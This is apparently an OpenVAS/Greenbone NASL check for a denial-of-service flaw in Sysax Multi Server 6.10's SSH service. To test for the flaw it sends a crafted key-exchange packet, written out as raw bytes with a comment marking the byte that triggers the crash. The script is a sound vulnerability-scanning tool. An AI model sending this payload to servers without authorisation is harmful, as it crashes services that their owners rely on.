Sysax Multi Server < 6.11 DOS Vulnerability - Active Check

# SPDX-FileCopyrightText: 2013 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.803191");
  script_version("2025-10-06T05:38:41+0000");
  script_tag(name:"cvss_base", value:"7.8");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:N/I:N/A:C");
  script_tag(name:"last_modification", value:"2025-10-06 05:38:41 +0000 (Mon, 06 Oct 2025)");
  script_tag(name:"severity_vector", value:"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H");
  script_tag(name:"severity_origin", value:"NVD");
  script_tag(name:"severity_date", value:"2025-10-02 17:32:44 +0000 (Thu, 02 Oct 2025)");
  script_tag(name:"creation_date", value:"2013-04-16 11:21:21 +0530 (Tue, 16 Apr 2013)");

  script_cve_id("CVE-2013-10065");

  script_tag(name:"qod_type", value:"remote_analysis");

  script_tag(name:"solution_type", value:"VendorFix");

  script_name("Sysax Multi Server < 6.11 DOS Vulnerability - Active Check");

  script_category(ACT_DENIAL);
  script_copyright("Copyright (C) 2013 Greenbone AG");
  script_family("Denial of Service");
  script_dependencies("ssh_detect.nasl");
  script_require_ports("Services/ssh", 22);
  script_mandatory_keys("ssh/sysaxssh/detected");

  script_tag(name:"summary", value:"Sysax Multi Server is prone to a denial of service (DoS)
  vulnerability.");

  script_tag(name:"vuldetect", value:"Send a crafted SSH request and check whether the application
  is still responsive.");

  script_tag(name:"insight", value:"The flaw is due to a NULL pointer dereference error within the
  SSH component when negotiating cipher keys and can be exploited to cause a crash via a specially
  crafted cipher.");

  script_tag(name:"impact", value:"Successful exploitation will allow remote attackers to cause the
  application to crash, creating a denial-of-service condition.");

  script_tag(name:"affected", value:"Sysax Multi Server version 6.10.");

  script_tag(name:"solution", value:"Update to version 6.11 or later.");

  script_xref(name:"URL", value:"https://web.archive.org/web/20140725024546/http://secunia.com/advisories/52934/");
  script_xref(name:"URL", value:"http://www.exploit-db.com/exploits/24940");
  script_xref(name:"URL", value:"http://packetstormsecurity.com/files/121207");
  script_xref(name:"URL", value:"https://www.mattandreko.com/2013/04/08/sysax-multi-server-6.10-ssh-dos/");

  exit(0);
}

include("ssh_func.inc");
include("misc_func.inc");
include("port_service_func.inc");

port = ssh_get_port(default:22);
banner = ssh_get_serverbanner(port:port);
if (!banner || "SysaxSSH" >!< banner)
  exit(0);

if(!soc = open_sock_tcp(port))
  exit(0);

ini_req = raw_string(0x53, 0x53, 0x48, 0x2d, 0x32, 0x2e, 0x30, 0x2d,
                     0x4f, 0x70, 0x65, 0x6e, 0x53, 0x53, 0x48, 0x5f,
                     0x35, 0x2e, 0x31, 0x70, 0x31, 0x20, 0x44, 0x65,
                     0x62, 0x69, 0x61, 0x6e, 0x2d, 0x35, 0x75, 0x62,
                     0x75, 0x6e, 0x74, 0x75, 0x31, 0x0d, 0x0a);

req = raw_string(0x00, 0x00, 0x03, 0x14, 0x08, 0x14, 0xff, 0x9f,
                 0xde, 0x5d, 0x5f, 0xb3, 0x07, 0x8f, 0x49, 0xa7,
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                 ##3rd byte in this next line causes crash
                 0x00, 0x00, 0x28, 0x7a, 0x6c, 0x69, 0x62, 0x40,
                 0x6f, 0x70, 0x65, 0x6e, 0x73, 0x73, 0x68, 0x2e,
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                 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
                 0x0a);


send(socket:soc, data:ini_req);
recv(socket:soc, length:1024);

send(socket:soc, data:req);
recv(socket:soc, length:1024);

close(soc);

sleep(5);

soc2 = open_sock_tcp(port);
if(!soc2)
{
  security_message(port);
  exit(0);
}
else
{
  resp = recv(socket:soc2, length:1024);
  if("SysaxSSH" >!< resp)
  {
    close(soc2);
    security_message(port);
    exit(0);
  }
}

close(soc2);